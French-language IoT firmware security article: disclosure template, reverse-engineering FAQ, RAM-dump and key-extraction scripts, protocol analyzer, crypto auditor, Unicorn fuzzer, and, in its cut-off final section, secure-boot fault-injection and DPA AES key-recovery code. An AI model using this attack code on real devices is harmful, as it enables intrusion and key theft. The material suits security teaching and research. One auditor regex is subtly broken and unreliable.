Produit affecté: MODEL - Firmware v1.2.3 (et versions antérieures)
Composant: /usr/sbin/httpd - fonction parse_http_header()
### Description technique
Un buffer overflow exploitable à distance existe dans la fonction
parse_http_header() du serveur HTTP embarqué. Le header HTTP
"Accept-Language" est copié dans un buffer fixe de 100 bytes sur la pile
sans vérification de longueur (strcpy() non borné).
Un attaquant distant non authentifié peut envoyer un header de taille
supérieure à 100 bytes pour provoquer un déni de service ou, en l'absence
d'ASLR/stack canaries, une exécution de code arbitraire.
### Preuve de concept
[Inclure le PoC minimal, pas une chaîne d'exploitation complète]
### Remédiation suggérée
Remplacer strcpy() par strncpy() avec la longueur du buffer cible,
ou utiliser snprintf() avec vérification de la valeur de retour.
### Chronologie
2024-01-15: Découverte de la vulnérabilité
2024-01-16: Contact initial PSIRT
2024-04-15: Divulgation publique prévue (90 jours)
Responsible Disclosure : règles d'or
- Ne jamais exploiter une vulnérabilité IoT sur des dispositifs en production appartenant à des tiers — même pour "démontrer l'impact"
- Utiliser un environnement d'émulation QEMU ou un dispositif de test acheté pour la preuve de concept
- Coordonner avec le CERT-FR (cert.ssi.gouv.fr) pour les vulnérabilités affectant des infrastructures critiques françaises
- Publier le CVE uniquement après le patch ou l'expiration du délai d'embargo (90 jours standard)
FAQ Reverse Engineering Firmware IoT
Comment identifier l'architecture CPU d'un firmware sans documentation ?
Plusieurs approches complémentaires permettent d'identifier l'architecture. Premièrement, Binwalk avec l'option -A (architecture scan) recherche des opcodes connus. Deuxièmement, la commande file Unix identifie souvent l'architecture dans les en-têtes ELF : file squashfs-root/bin/busybox. Troisièmement, l'analyse de l'entropie et des patterns de données avec Binwalk -E peut révéler des zones de code distinctes. Quatrièmement, identifier le SoC sur le PCB (numéro de référence) puis consulter la datasheet donne l'architecture exacte. Cinquièmement, rechercher des chaînes dans le firmware comme "MIPS", "ARM", "PowerPC" ou les noms de fonctions de bibliothèques spécifiques.
Que faire si Binwalk ne reconnaît pas le système de fichiers du firmware ?
Si Binwalk ne reconnaît pas le système de fichiers, plusieurs possibilités existent. Le firmware peut être chiffré — vérifier l'entropie avec binwalk -E : une entropie proche de 1.0 sur toute la zone indique un chiffrement. Des outils alternatifs comme unblob (un successeur de Binwalk) supportent plus de formats. Le système de fichiers peut être propriétaire — dans ce cas, analyser les chaînes dans le binaire pour identifier le format. Enfin, l'outil jefferson pour JFFS2 et ubireader pour UBI/UBIFS couvrent des formats que Binwalk peut manquer.
Comment émuler un firmware qui dépend de matériel spécifique (GPIO, SPI) ?
L'émulation de firmware avec dépendances hardware est l'un des défis majeurs du domaine. Les approches incluent : (1) le stubbing des appels système — intercepter les appels ioctl() et open() vers les périphériques et retourner des valeurs simulées, (2) l'utilisation de Firmadyne qui simule les périphériques réseau et les interfaces de gestion, (3) le hooking au niveau binaire avec Qiling (framework d'émulation qui expose une API Python pour simuler les périphériques), (4) l'analyse statique pure (Ghidra) pour les composants qui ne peuvent pas être émulés.
Quelle est la différence entre analyse statique et dynamique dans le contexte IoT ?
L'analyse statique (Ghidra, radare2, strings) examine le firmware sans l'exécuter — elle permet d'analyser 100% du code mais sans observer le comportement réel. L'analyse dynamique (GDB + QEMU, Firmadyne, attaches sur dispositif physique via UART/JTAG) observe l'exécution réelle — elle est limitée aux chemins d'exécution testés mais révèle des vulnérabilités runtime invisibles statiquement (race conditions, problèmes d'initialisation, conditions liées à l'état). La stratégie optimale combine les deux : analyse statique pour cartographier toutes les fonctions dangereuses, analyse dynamique pour confirmer l'exploitabilité.
Mise en pratique
Comment détecter si un firmware implémente correctement ASLR et les stack canaries ?
Pour vérifier ASLR : dans l'émulateur QEMU ou sur le dispositif via UART, exécuter cat /proc/sys/kernel/randomize_va_space — la valeur 0 indique l'absence d'ASLR, 1 la randomisation partielle (stack et MMAP), 2 la randomisation complète. Pour les stack canaries : analyser le binaire avec checksec (checksec --file=httpd) qui affiche les protections compilées. En Ghidra, chercher des patterns __stack_chk_fail dans les fonctions — leur présence indique des canaries compilés. Pour les PIE (Position Independent Executable), vérifier que l'adresse de base de l'ELF n'est pas fixe.
Quels sont les outils Python pour automatiser l'analyse de firmwares en masse ?
L'écosystème Python pour l'analyse de firmware inclut : binwalk (module Python importable), python-magic pour l'identification de types de fichiers, capstone pour le désassemblage multi-architecture, pwntools pour le développement d'exploits et la manipulation binaire, r2pipe pour l'automation de radare2, et angr pour l'analyse symbolique qui permet de trouver automatiquement des chemins d'exécution menant à des fonctions dangereuses. Le framework FACT (Firmware Analysis and Comparison Tool) fournit une API REST pour l'analyse automatisée à grande échelle.
Comment la technique de format string exploitation s'applique-t-elle aux firmwares IoT ?
Les vulnérabilités de format string (printf(user_input) au lieu de printf("%s", user_input)) sont courantes dans les binaires IoT anciens compilés sans protections modernes. En architecture MIPS big-endian, l'exploitation diffère légèrement de x86 : les arguments sont passés dans les registres a0-a3 avant d'utiliser la pile. La technique d'exploitation consiste à (1) lire des adresses mémoire avec %x ou %p, (2) écrire en mémoire avec %n pour modifier la GOT (Global Offset Table) et rediriger un appel de fonction vers du shellcode. En pratique, la recherche de printf/fprintf/syslog avec des arguments contrôlés par l'utilisateur dans Ghidra permet d'identifier ces points.
Existe-t-il des bases de données de firmwares vulnérables pour la pratique ?
Plusieurs ressources permettent de pratiquer légalement le reverse engineering de firmware. OWASP IoTGoat est un firmware OpenWRT intentionnellement vulnérable avec des exercices guidés. Damn Vulnerable Router Firmware (DVRF) est un firmware MIPS émulable avec des challenges de stack overflow progressifs. La base de données Firmware.re recense des firmwares collectés depuis des sites de fabricants. Les archives GitHub de Firmadyne contiennent des images de firmwares analysés avec leurs résultats. Les CVE IoT publiées sur la NVD incluent souvent des références aux firmwares affectés téléchargeables depuis les sites fabricants.
Vers un écosystème IoT plus sûr
Le reverse engineering de firmware IoT n'est pas seulement une activité offensive — c'est un outil indispensable pour la recherche en sécurité, les audits de sécurité contractuels, la vérification de conformité, et la réponse aux incidents. La directive européenne Cyber Resilience Act (CRA), entrée en vigueur en 2024 avec une période de transition de 36 mois, impose aux fabricants de dispositifs IoT des obligations de sécurité by design, de divulgation des vulnérabilités, et de mise à jour de sécurité pendant toute la durée de vie du produit.
La référence externe incontournable pour les pratiques de sécurité IoT est l'OWASP IoT Top 10, qui classe les dix catégories de vulnérabilités les plus critiques dans les dispositifs connectés. Pour le cadre réglementaire européen, le guide ENISA sur les recommandations de sécurité baseline pour l'IoT constitue la référence normative.
Pour approfondir la sécurité des systèmes embarqués dans un contexte industriel, consultez notre article sur la sécurité OT/ICS et les protocoles industriels. Pour la cryptographie post-quantique qui impacte les futurs firmwares sécurisés, notre article sur la cryptographie post-quantique fournit le contexte nécessaire. L'analyse forensique des systèmes embarqués est couverte dans notre guide forensics avancé.
Analyse avancée de la mémoire embarquée
L'analyse de la mémoire d'un système embarqué en cours d'exécution révèle des informations impossibles à obtenir uniquement par l'analyse statique du firmware : clés cryptographiques chargées en RAM, sessions actives, état interne des daemons. Cette technique, empruntée à la forensique des PC, s'applique aux systèmes IoT via JTAG ou UART.
Mise en pratique
Dump de mémoire via UART et analyse
# Dans U-Boot interactif (bootloader non verrouillé):
# Afficher la mémoire RAM à une adresse donnée
U-Boot# md.b 0x80000000 0x1000 # 4KB depuis l'adresse de départ RAM
# Dump de toute la RAM vers le réseau
U-Boot# setenv serverip 192.168.1.100
U-Boot# setenv ipaddr 192.168.1.200
U-Boot# tftp 0x80000000 dump.bin # Reçoit en TFTP
# Analyse des clés en mémoire avec binwalk
binwalk -y certificate ram_dump.bin
binwalk -y private-key ram_dump.bin
# Recherche de patterns AES (clés 128/256 bits)
# L'analyse d'entropie révèle les zones de données chiffrées
python3 -c "
import struct, sys
data = open('ram_dump.bin','rb').read()
# Chercher les constantes AES (Round Constants)
aes_rcon = bytes([0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36])
for i in range(len(data)-10):
if data[i:i+4] == aes_rcon[:4]:
print(f'AES RCon @ 0x{i:08x}: possible key schedule')
"
# Volatility pour l'analyse mémoire Linux embarqué (si kernel connu)
vol3 -f ram_dump.bin linux.bash # Historique bash en mémoire
vol3 -f ram_dump.bin linux.netstat # Connexions réseau actives
vol3 -f ram_dump.bin linux.pslist # Processus actifs au moment du dump
Extraction de clés cryptographiques depuis la mémoire
#!/usr/bin/env python3
"""
memory_key_extractor.py — Extraction de matériel cryptographique depuis un dump RAM
Identifie les clés AES, RSA et ECDSA par leurs propriétés mathématiques
"""
import struct
import math
from pathlib import Path
def shannon_entropy(data: bytes) -> float:
"""Calcule l'entropie de Shannon d'un bloc de données"""
if not data:
return 0.0
freq = {}
for byte in data:
freq[byte] = freq.get(byte, 0) + 1
total = len(data)
entropy = -sum(
(count/total) * math.log2(count/total)
for count in freq.values()
)
return entropy
def find_high_entropy_regions(
data: bytes,
block_size: int = 32,
threshold: float = 7.5
) -> list:
"""
Identifie les régions à haute entropie dans le dump mémoire
Entropie > 7.5/8 bits = données aléatoires/chiffrées
Ces régions peuvent contenir des clés cryptographiques
"""
regions = []
for offset in range(0, len(data) - block_size, block_size):
block = data[offset:offset + block_size]
entropy = shannon_entropy(block)
if entropy >= threshold:
regions.append({
"offset": offset,
"hex_offset": f"0x{offset:08x}",
"entropy": round(entropy, 3),
"data_hex": block.hex(),
"size": block_size
})
return regions
def scan_for_rsa_modulus(data: bytes) -> list:
"""
Cherche des moduli RSA (nombres premiers de grande taille)
Un modulus RSA-2048 = 256 bytes consécutifs à haute entropie
avec des propriétés mathématiques spécifiques
"""
candidates = []
# RSA-2048: 256 bytes, dernier byte impair (modulus N = p*q est impair)
for offset in range(0, len(data) - 256, 4):
block = data[offset:offset + 256]
# Le dernier byte (LSB en little-endian) doit être impair
if block[-1] % 2 == 0:
continue
entropy = shannon_entropy(block)
if entropy > 7.8: # RSA keys ont une très haute entropie
# Vérification heuristique: MSB non nul (taille réelle 2048 bits)
if block[0] > 0x80:
candidates.append({
"offset": f"0x{offset:08x}",
"type": "RSA-2048 modulus candidate",
"entropy": round(entropy, 3),
"first_bytes": block[:8].hex(),
"last_bytes": block[-8:].hex()
})
return candidates
def analyze_dump(dump_file: str) -> dict:
data = Path(dump_file).read_bytes()
print(f"[*] Analyse du dump mémoire: {dump_file} ({len(data):,} bytes)")
results = {
"high_entropy_regions": find_high_entropy_regions(data),
"rsa_candidates": scan_for_rsa_modulus(data)
}
print(f"[+] Régions haute entropie: {len(results['high_entropy_regions'])}")
print(f"[+] Candidats modulus RSA: {len(results['rsa_candidates'])}")
return results
Protocoles propriétaires embarqués : reverse engineering des communications
De nombreux dispositifs IoT utilisent des protocoles propriétaires pour communiquer avec leurs serveurs cloud ou d'autres dispositifs. Le reverse engineering de ces protocoles permet de comprendre les mécanismes d'authentification, d'identifier des backdoors, et de découvrir des fonctionnalités non documentées.
Mise en pratique
Capture et analyse du trafic réseau IoT
# Configuration d'un point d'accès WiFi de capture (Raspberry Pi)
# Pour intercepter le trafic d'un dispositif IoT sans modifier son firmware
# Installation
sudo apt-get install hostapd dnsmasq tcpdump wireshark-common
# Configuration hostapd (point d'accès)
cat > /etc/hostapd/hostapd.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=IoT-Analysis-AP
hw_mode=g
channel=7
wmm_enabled=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=AnalysisAP2024!
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
# Démarrage du AP
sudo hostapd /etc/hostapd/hostapd.conf &
# Capture du trafic IoT
sudo tcpdump -i wlan0 -w iot_traffic.pcap -v
# Analyse avec Wireshark (déchiffrement SSL si clé disponible)
# Fichier > Préférences > Protocols > TLS > RSA Keys
# Ajouter la clé privée extraite du firmware
# Analyse avec tshark (CLI)
tshark -r iot_traffic.pcap -T fields -e ip.src -e ip.dst -e tcp.dstport -e http.request.uri -Y "http" | sort | uniq -c | sort -rn | head -30
# Extraction des payloads HTTP/HTTPS pour analyse
tshark -r iot_traffic.pcap -Y "http.response" -T fields -e http.file_data | xxd | head -100
Reverse engineering d'un protocole binaire custom
#!/usr/bin/env python3
"""
protocol_analyzer.py — Reverse engineering d'un protocole binaire IoT custom
Techniques d'identification de champs et de structures
"""
import struct
import binascii
from collections import Counter
from dataclasses import dataclass
from typing import List, Optional
@dataclass
class ProtocolField:
offset: int
size: int
name: str
value_type: str # uint8, uint16_be, uint32_le, string, bytes
observed_values: list
class BinaryProtocolAnalyzer:
"""
Analyse heuristique d'un protocole binaire inconnu
Identifie les champs de longueur, les magic bytes, les checksums
"""
def __init__(self, packets: List[bytes]):
self.packets = packets
self.min_len = min(len(p) for p in packets)
self.fields: List[ProtocolField] = []
def find_magic_bytes(self, max_offset: int = 8) -> Optional[bytes]:
"""Identifie les magic bytes de début de paquet (constantes en tête)"""
for length in [4, 3, 2]:
if self.min_len < length:
continue
candidates = set()
for packet in self.packets:
candidates.add(packet[:length])
if len(candidates) == 1: # Un seul début possible
magic = candidates.pop()
print(f"[+] Magic bytes trouvés: {magic.hex()}")
return magic
return None
def find_length_fields(self) -> List[dict]:
"""
Identifie les champs de longueur
Un champ de longueur = valeur qui corrèle avec len(packet)
"""
length_candidates = []
for offset in range(0, self.min_len - 4):
for size in [1, 2, 4]:
if offset + size > self.min_len:
break
correlates = True
for packet in self.packets:
if size == 1:
val = packet[offset]
elif size == 2:
val = struct.unpack_from(">H", packet, offset)[0]
else:
val = struct.unpack_from(">I", packet, offset)[0]
# Ce champ corrèle-t-il avec la longueur du paquet?
# (longueur totale, longueur payload, longueur - header)
packet_len = len(packet)
if val not in [packet_len, packet_len - 4, packet_len - 8,
packet_len - 16, packet_len + 4]:
correlates = False
break
if correlates:
length_candidates.append({
"offset": offset,
"size": size,
"description": f"Champ de longueur @ offset {offset} ({size} bytes)"
})
return length_candidates
def find_constant_fields(self) -> List[dict]:
"""Identifie les champs constants (version, type, flags)"""
constants = []
for offset in range(self.min_len):
values = set(packet[offset] for packet in self.packets)
if len(values) == 1: # Valeur constante dans tous les paquets
constants.append({
"offset": offset,
"value": hex(values.pop()),
"interpretation": "Constante (version/type/flag?)"
})
return constants
def find_counter_fields(self) -> List[dict]:
"""Identifie les compteurs (séquences croissantes)"""
counters = []
for offset in range(0, self.min_len - 2):
values = []
for packet in self.packets:
val = struct.unpack_from(">H", packet, offset)[0]
values.append(val)
# Vérifier si c'est monotoniquement croissant
is_incrementing = all(
values[i+1] > values[i] for i in range(len(values)-1)
)
if is_incrementing and len(set(values)) > 1:
counters.append({
"offset": offset,
"type": "uint16_be",
"values": values,
"description": "Compteur de séquence (anti-replay?)"
})
return counters
def analyze(self) -> dict:
print(f"[*] Analyse de {len(self.packets)} paquets")
print(f"[*] Taille min: {self.min_len} bytes")
print()
results = {
"magic_bytes": self.find_magic_bytes(),
"length_fields": self.find_length_fields(),
"constant_fields": self.find_constant_fields(),
"counter_fields": self.find_counter_fields()
}
print(f"[+] Champs de longueur: {len(results['length_fields'])}")
print(f"[+] Champs constants: {len(results['constant_fields'])}")
print(f"[+] Compteurs: {len(results['counter_fields'])}")
return results
Vulnérabilités de la stack cryptographique embarquée
Les systèmes embarqués utilisent souvent des implémentations cryptographiques sous-optimales ou mal configurées. La contrainte des ressources limitées (CPU, RAM) conduit parfois les développeurs à faire des compromis sécuritaires critiques.
Mise en pratique
Problèmes cryptographiques courants dans l'IoT
| Problème | Description | Impact | CVE exemple |
|---|---|---|---|
| Graine PRNG prévisible | random() initialisé avec le temps (time(0)) | Génération de clés prédictibles | CVE-2008-0166 (Debian OpenSSL) |
| TLS 1.0/1.1 uniquement | Protocoles anciens vulnérables (POODLE, BEAST) | Déchiffrement du trafic | CVE-2014-3566 |
| Certificat auto-signé identique | Même certificat sur tous les dispositifs du modèle | MITM par extraction du certificat | CVE-2019-19494 |
| ECB mode AES | Mode opératoire sans IV (Electronic Codebook) | Fuites de patterns dans les données | Multiple |
| Nonce réutilisé (GCM) | Même nonce pour deux messages différents en GCM | Récupération de la clé de chiffrement | CVE-2016-0270 |
#!/usr/bin/env python3
"""
crypto_auditor.py — Audit de la configuration cryptographique d'un firmware IoT
Vérifie les bonnes pratiques cryptographiques dans le code C/C++ embarqué
"""
import re
from pathlib import Path
from typing import List
class EmbeddedCryptoAuditor:
"""Audit statique de l'utilisation de la cryptographie dans le code C/C++"""
FINDINGS = {
"weak_random": {
"patterns": [
re.compile(r'rand\s*\('), # rand() basique
re.compile(r'srand\s*\(\s*time'), # Graine temporelle
re.compile(r'time\(NULL\)\s*\).*rand'),
],
"severity": "HIGH",
"cwe": "CWE-338",
"message": "PRNG non sécurisé pour usage cryptographique",
"fix": "Utiliser /dev/urandom ou mbedtls_entropy_func()"
},
"hardcoded_key": {
"patterns": [
re.compile(r'(?:aes|des|rsa)_key\s*=\s*["\']{1}[0-9a-fA-F]{16,}', re.I),
re.compile(r'uint8_t\s+key\[\d+\]\s*=\s*\{[0-9,\s]+\}'),
],
"severity": "CRITICAL",
"cwe": "CWE-321",
"message": "Clé cryptographique hardcodée",
"fix": "Stocker dans un OTP fuse ou un secure élément (ATECC608)"
},
"ecb_mode": {
"patterns": [
re.compile(r'AES_ECB|MBEDTLS_MODE_ECB|EVP_aes_\d+_ecb'),
re.compile(r'ecb.*encrypt|encrypt.*ecb', re.I),
],
"severity": "HIGH",
"cwe": "CWE-327",
"message": "Mode AES ECB (Electronic Codebook) non sécurisé",
"fix": "Utiliser AES-GCM (authentification + chiffrement)"
},
"md5_sha1_crypto": {
"patterns": [
re.compile(r'MD5_\|EVP_md5\|mbedtls_md5'),
re.compile(r'SHA1_\|EVP_sha1\|mbedtls_sha1'),
],
"severity": "HIGH",
"cwe": "CWE-327",
"message": "Algorithme de hachage obsolète (MD5/SHA-1) pour usage cryptographique",
"fix": "Utiliser SHA-256 minimum (mbedtls_sha256_ret)"
},
"ssl_verify_disabled": {
"patterns": [
re.compile(r'SSL_CTX_set_verify.*SSL_VERIFY_NONE'),
re.compile(r'mbedtls_ssl_conf_verify.*my_verify.*return.*0'),
re.compile(r'curl_easy_setopt.*CURLOPT_SSL_VERIFYPEER.*0'),
],
"severity": "CRITICAL",
"cwe": "CWE-295",
"message": "Vérification du certificat TLS désactivée",
"fix": "Activer SSL_VERIFY_PEER avec un CA store embarqué"
},
}
def audit_file(self, file_path: str) -> List[dict]:
"""Audit un fichier C/C++ pour les problèmes cryptographiques"""
findings = []
try:
content = Path(file_path).read_text(errors='replace')
lines = content.splitlines()
for finding_name, config in self.FINDINGS.items():
for pattern in config["patterns"]:
for line_num, line in enumerate(lines, 1):
if pattern.search(line):
findings.append({
"file": file_path,
"line": line_num,
"finding": finding_name,
"severity": config["severity"],
"cwe": config["cwe"],
"message": config["message"],
"fix": config["fix"],
"code_snippet": line.strip()[:100]
})
except Exception:
pass
return findings
def audit_firmware_rootfs(self, rootfs_path: str) -> dict:
"""Audit complet des sources C/C++ d'un rootfs extrait"""
all_findings = []
for file_path in Path(rootfs_path).rglob('*'):
if file_path.suffix in ['.c', '.cpp', '.h', '.hpp']:
findings = self.audit_file(str(file_path))
all_findings.extend(findings)
by_severity = {"CRITICAL": [], "HIGH": [], "MEDIUM": [], "LOW": []}
for f in all_findings:
by_severity[f["severity"]].append(f)
return {
"total": len(all_findings),
"by_severity": {sev: len(items) for sev, items in by_severity.items()},
"findings": all_findings
}
Sécurisation du développement firmware : pratiques best-of-breed
Après avoir exploré les vulnérabilités des firmwares existants, intéressons-nous aux pratiques qui permettent de produire des firmwares IoT intrinsèquement plus sûrs. Ces pratiques s'appliquent aux équipes de développement embarqué qui veulent intégrer la sécurité dans leur cycle de développement.
Checklist de sécurité firmware pour les équipes de développement
| Catégorie | Contrôle | Outil/Méthode | Priorité |
|---|---|---|---|
| Boot | Secure Boot avec vérification de signature | Clé RSA-3072 stockée en OTP fuse | CRITIQUE |
| Boot | Anti-rollback (ne pas revenir à une version vulnérable) | Compteur monotone en OTP | HAUTE |
| Réseau | TLS 1.2+ avec validation stricte des certificats | mbedTLS ou WolfSSL avec CA bundle | CRITIQUE |
| Réseau | Certificate Pinning pour les serveurs cloud | Hash SHA-256 du certificat embarqué | HAUTE |
| Authentification | Credentials uniques par device (pas de shared secret) | Device certificate (PKI IoT) | CRITIQUE |
| OTA | Vérification de signature des mises à jour | RSA-PSS ou ECDSA P-256 | CRITIQUE |
| Code | Stack canaries et ASLR compilés | GCC -fstack-protector-strong -fpie | HAUTE |
| Debug | UART/JTAG désactivés en production | Fuse blowout ou software disable | HAUTE |
| Stockage | Chiffrement du stockage persistent (données utilisateur) | AES-256-XTS ou ChaCha20 | HAUTE |
| Logs | Pas de credentials dans les logs de debug | Code review, static analysis | MOYENNE |
Sécurisation firmware : principes fondamentaux
- Un firmware IoT ne peut pas être sécurisé après-coup aussi efficacement qu'en intégrant la sécurité dès la conception — le Shift Left s'applique au développement embarqué comme au logiciel applicatif
- Les clés cryptographiques ne doivent jamais être dans le firmware flashable — utiliser un Secure Élément (ATECC608A, Infineon SLE97) ou des OTP fuses pour stocker les clés maîtresses
- Les interfaces de débogage (UART, JTAG) doivent être désactivées physiquement en production via des fuses irréversibles, pas seulement par configuration logicielle
- Un programme de mises à jour OTA (Over-The-Air) sécurisé est aussi important que la sécurité initiale — sans OTA, les vulnérabilités découvertes après déploiement ne peuvent pas être corrigées
Outils de fuzzing spécialisés pour l'embarqué
Le fuzzing des systèmes embarqués présente des défis spécifiques par rapport au fuzzing de logiciels PC : les cibles tournent sur des architectures différentes, les interfaces d'entrée sont diverses (réseau, série, RF), et l'absence d'OS complet limite les mécanismes de feedback de couverture de code classiques.
# Unicorn Engine — émulateur multi-architecture pour le fuzzing
# Permet de fuzzer des fonctions extraites d'un binaire MIPS sans l'environnement complet
pip3 install unicorn capstone
python3 << 'EOF'
from unicorn import *
from unicorn.mips_const import *
import struct
# Charger une fonction extraite du firmware
# (adresse: 0x004023a0, taille: 0x100 bytes)
code = open("extracted_function.bin", "rb").read()
def fuzzer_run(input_data: bytes) -> bool:
"""Exécute la fonction cible avec les données de fuzzing"""
mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN)
# Configurer la mémoire
base = 0x00400000
mu.mem_map(base, 0x00200000) # Code segment
mu.mem_map(0x7ff00000, 0x100000) # Stack
mu.mem_write(base + 0x23a0, code)
# Initialiser le stack pointer
mu.reg_write(UC_MIPS_REG_SP, 0x7ffff000)
# Copier l'input en mémoire et passer comme argument
input_addr = 0x7ffef000
mu.mem_write(input_addr, input_data + b'')
mu.reg_write(UC_MIPS_REG_A0, input_addr)
try:
mu.emu_start(base + 0x23a0, base + 0x24a0, timeout=10000000)
return True # Pas de crash
except UcError as e:
if e.errno == UC_ERR_EXCEPTION:
return False # Crash détecté
return True
# Fuzzing simple (intégrer avec AFL++ pour la couverture)
import os, random
for i in range(10000):
size = random.randint(1, 512)
data = os.urandom(size)
if not fuzzer_run(data):
print(f"[CRASH] Input: {data.hex()[:32]}...")
open(f"crashes/crash_{i}.bin", "wb").write(data)
EOF
Intégration dans un programme de Vulnerability Disclosure IoT
La découverte de vulnérabilités dans des firmwares IoT déployés à grande échelle impose une responsabilité particulière. La coordination avec le fabricant, les CERTs nationaux, et parfois les régulateurs est indispensable pour minimiser le risque pour les utilisateurs finaux.
Processus de divulgation coordonnée pour l'IoT
# disclosure_process.yaml — Processus de divulgation responsable IoT
timeline:
day_0:
action: "Découverte et documentation de la vulnérabilité"
livrables:
- "Rapport technique détaillé avec PoC"
- "Estimation du nombre de dispositifs affectés"
- "Évaluation CVSS 3.1"
day_1_to_7:
action: "Contact initial du fabricant"
canaux:
- "security@vendor.com ou PSIRT officiel"
- "En dernier recours: contact LinkedIn/Twitter du RSSI"
objectif: "Obtenir un accusé de réception"
day_8_to_30:
action: "Coordination technique"
attentes:
- "Confirmation de la vulnérabilité par le fabricant"
- "Partage du PoC complet sous NDA si requis"
- "Estimation de la date de correction"
day_31_to_90:
action: "Période d'embargo standard (90 jours Google Project Zero)"
exceptions:
- "Exploitation active in-the-wild → embargo réduit à 7 jours"
- "Infrastructure critique française → impliquer le CERT-FR"
- "Absence de réponse après 30 jours → CERT-FR ou CERT/CC"
day_91:
action: "Publication si patch disponible OU expiration de l'embargo"
canaux:
- "CVE via MITRE/NVD"
- "Blog technique / conférence (DEF CON, Black Hat, SSTIC)"
- "CERT-FR advisory si impact France significatif"
Pour les investigations de firmware dans un contexte de pentest autorisé, les techniques décrites dans cet article s'intègrent dans une méthodologie globale de test de sécurité des systèmes embarqués. Notre article sur la sécurité OT/ICS complète cette approche pour les environnements industriels. Les techniques de reverse engineering ont également des applications dans la forensique — voir notre article sur l'évasion anti-forensique pour comprendre comment les attaquants effacent leurs traces, y compris sur les systèmes embarqués. La gestion des vulnérabilités dans le cadre du Cyber Resilience Act 2026 impose de nouvelles obligations aux fabricants de dispositifs IoT.
Techniques d'extraction de firmware : hardware avancé
Au-delà des méthodes standard (UART, JTAG, SPI), certains dispositifs IoT employent des mécanismes de protection hardware plus sophistiqués qui nécessitent des techniques d'extraction avancées. Les chips ARM TrustZone, les HSM embarqués, et les mécanismes de secure boot peuvent résister aux approches classiques. Cette section couvre les techniques utilisées par les chercheurs en sécurité pour contourner ces protections.
#!/usr/bin/env python3
"""
Advanced Firmware Extraction - Techniques de fault injection et DPA
Pour contournement de secure boot et extraction de clés embarquées
AVERTISSEMENT: Ces techniques ne doivent être utilisées que sur du matériel
que vous possédez ou avec autorisation explicite écrite.
"""
import serial
import time
import hashlib
import struct
from typing import Optional, List, Tuple, Generator
from pathlib import Path
class ClockGlitcher:
"""
Injection de faute par glitch d'horloge (Voltage/Clock Fault Injection)
Utilisé pour bypasser les vérifications de signature secure boot
Matériel requis: ChipWhisperer CW305 ou équivalent
"""
def __init__(self, target_port: str, scope_port: str):
self.target = serial.Serial(target_port, 115200, timeout=0.1)
self.scope = serial.Serial(scope_port, 115200, timeout=0.1)
self.successful_glitches = []
def configure_glitch_params(self,
offset: int,
width: int,
power: int = 40) -> None:
"""Configure les paramètres du glitch"""
self.glitch_offset = offset # Offset en cycles d'horloge
self.glitch_width = width # Durée du glitch
self.glitch_power = power # Puissance du glitch (0-100)
print(f"[GLITCH] Config: offset={offset}, width={width}, power={power}")
def attempt_boot_bypass(self, max_attempts: int = 10000) -> Optional[bytes]:
"""
Tente de bypasser le secure boot via injection de faute.
L'objectif est de corrompre la vérification de signature RSA/ECDSA
juste après que le bootloader charge le firmware en mémoire.
"""
for attempt in range(max_attempts):
# Reset de la cible
self.target.setDTR(True)
time.sleep(0.01)
self.target.setDTR(False)
# Attendre le trigger de démarrage (signal électrique ou pattern série)
trigger_found = self._wait_for_trigger(timeout=2.0)
if trigger_found:
# Déclencher le glitch au moment de la vérification
time.sleep(self.glitch_offset * 1e-9) # Précision nanosecondes
self._inject_glitch()
# Vérifier si le boot a réussi malgré une signature invalide
response = self.target.read(256)
if self._is_successful_bypass(response):
print(f"[SUCCESS] Bypass réussi à la tentative {attempt}")
print(f"[SUCCESS] Params: offset={self.glitch_offset}, width={self.glitch_width}")
self.successful_glitches.append({
"attempt": attempt,
"offset": self.glitch_offset,
"width": self.glitch_width,
"response": response.hex()
})
return response
# Variation aléatoire des paramètres (randomisation)
if attempt % 100 == 0:
print(f"[GLITCH] Progression: {attempt}/{max_attempts}")
self.glitch_offset += 10 # Scan progressif de l'espace de paramètres
return None
def _wait_for_trigger(self, timeout: float) -> bool:
start = time.time()
while time.time() - start < timeout:
if self.target.in_waiting > 0:
data = self.target.read(self.target.in_waiting)
if b"Verifying signature" in data or b"Boot" in data:
return True
return False
def _inject_glitch(self):
"""Injection hardware du glitch"""
# En pratique: contrôle via ChipWhisperer API
self.scope.write(f"GLITCH {self.glitch_width} {self.glitch_power}\n".encode())
def _is_successful_bypass(self, response: bytes) -> bool:
"""Détecter si le bypass a fonctionné"""
success_indicators = [
b"Boot successful",
b"Starting kernel",
b"Linux version",
b"Shell prompt",
]
return any(ind in response for ind in success_indicators)
class DifferentialPowerAnalysis:
"""
Analyse de puissance différentielle (DPA) pour extraction de clés AES
Exploite la corrélation entre la consommation électrique et les données
Nécessite: oscilloscope avec haute fréquence d'échantillonnage (>1 GSPS)
"""
def __init__(self, traces_directory: str):
self.traces_dir = Path(traces_directory)
self.traces: List[List[float]] = []
self.plaintexts: List[bytes] = []
def load_traces(self) -> None:
"""Charge les traces de puissance enregistrées"""
import numpy as np
for trace_file in sorted(self.traces_dir.glob("trace_*.npy")):
trace = np.load(trace_file)
self.traces.append(trace.tolist())
# Charger le plaintext associé
plaintext_file = trace_file.with_suffix(".txt")
if plaintext_file.exists():
self.plaintexts.append(bytes.fromhex(plaintext_file.read_text().strip()))
print(f"[DPA] {len(self.traces)} traces chargées")
def compute_hamming_weight(self, value: int) -> int:
"""Poids de Hamming pour prédiction du modèle de fuite"""
return bin(value).count('1')
def attack_first_round_aes(self) -> Optional[bytes]:
"""
Attaque DPA sur le premier tour AES pour récupérer la clé.
Exploite la corrélation entre HW(SBox[P xor K]) et la puissance mesurée.
"""
import numpy as np
if not self.traces:
self.load_traces()
key_candidates = []
# Attaque sur chaque byte de la clé indépendamment
for byte_pos in range(16):
best_key = 0
best_correlation = 0.0
for key_guess in range(256):
hypothetical_hw = []
for plaintext in self.plaintexts:
if len(plaintext) > byte_pos:
sbox_output = self._aes_sbox(plaintext[byte_pos] ^ key_guess)
hw = self.compute_hamming_weight(sbox_output)
hypothetical_hw.append(hw)
if not hypothetical_hw:
continue
# Corrélation de Pearson entre HW prédit et puissance mesurée
hw_array = np.array(hypothetical_hw, dtype=float)
# Calculer la corrélation sur chaque point temporel
max_corr = 0.0
for t in range(min(len(self.traces[0]), 500)): # Limiter la fenêtre
